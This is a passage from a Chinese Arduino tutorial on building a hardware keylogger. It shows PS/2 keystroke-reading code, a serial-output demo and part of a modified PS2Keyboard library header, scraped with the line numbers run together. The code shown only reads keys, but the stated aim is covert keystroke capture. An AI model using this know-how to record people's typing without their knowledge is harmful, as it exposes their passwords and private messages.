[摘要]bit; //两个值进行一次按位或运算 51. } 52. while(digitalRead(_ps2clk) == LOW) 53. ...
bit; //两个值进行一次按位或运算 51. } 52. while(digitalRead(_ps2clk) == LOW) 53. ; 54. bit =bit << 1; //时钟脉冲每到达一次低位就与1进行一次左移运算 55. } 56. while (digitalRead(_ps2clk) ==HIGH) 57. ; 58. while (digitalRead(_ps2clk) ==LOW) //跳过校验位 59. ; 60. while (digitalRead(_ps2clk) ==HIGH) 61. ; 62. while (digitalRead(_ps2clk) ==LOW) //跳过停止位 63. ; 64. pinMode(_ps2clk, OUTPUT); 65. digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位 66. return data; 67.}
在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用。
在IDE中新建一个程序文件
1. #include<ps2.h> 2. 3. PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号 4. 5. void setup() 6. { 7. Serial.begin(9600); 8. kbd.read(); 9. kbd.read();//进行两次测试 10.} 11.void loop() 12.{ 13. unsignedcharcode; 14. for(;;) { 15. code =kbd.read(); 16. Serial.println(code);//读取键盘输入并输出到串口显示 17. } 18.}
将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出。
0×05 完整的实现
我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用。
这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但 缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它 们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功 能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如 下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可。
/* * PS2Keyboard.h * Arduino PS2键盘支持库 * 修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip * 修改者:b41k3r * 基于GPLv2开源 */ #ifndef PS2Keyboard_h #define PS2Keyboard_h #include <avr/io.h> #include<avr/interrupt.h> #include<avr/pgmspace.h> #if defined(ARDUINO)&& ARDUINO >= 100 #include"Arduino.h" #else #include"WProgram.h" #endif #definePS2_TAB 9 //这些定义完全按照这些键对应的ascii值 #definePS2_ENTER 13 #definePS2_BACKSPACE 8 #definePS2_CAPS_LOCK 20 #definePS2_SHIFT 16 #definePS2_LINEFEED 10 #definePS2_ESC 27 #definePS2_INSERT 45 #definePS2_DELETE 127 #definePS2_HOME 36 #definePS2_END 35 #definePS2_PAGEUP 33 #definePS2_PAGEDOWN 34 #definePS2_UPARROW 38 #definePS2_LEFTARROW 37 #definePS2_DOWNARROW 40 #definePS2_RIGHTARROW 39 #definePS2_F1 -12 //为了避免冲突,将F1-F12的值重新定义为了负值 #definePS2_F2 -13 #definePS2_F3 -14 #definePS2_F4 -15 #definePS2_F5 -16 #definePS2_F6 -17 #definePS2_F7 -18 #definePS2_F8 -19 #definePS2_F9 -20 #definePS2_F10 -21 #definePS2_F11 -22 #definePS2_F12 -23 #definePS2_SCROLL 0 /* * 这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源 * 代码请看文后的下载地址 */ #define PS2_KEYMAP_SIZE136 typedef struct { uint8_tnoshift[PS2_KEYMAP_SIZE]; uint8_tshift[PS2_KEYMAP_SIZE]; uint8_tuses_altgr; uint8_taltgr[PS2_KEYMAP_SIZE]; } PS2Keymap_t; extern const PROGMEMPS2Keymap_t PS2Keymap_US; extern const PROGMEMPS2Keymap_t PS2Keymap_German; class PS2Keyboard { public: PS2Keyboard(); staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US); staticboolavailable(); staticintread(); intreadIt(); intgetCombinationKey(); }; #if!defined(CORE_INT0_PIN) #ifdefined(__AVR_ATmega1280__)
关键词:间谍游戏:用Arduino制作硬件键盘记录器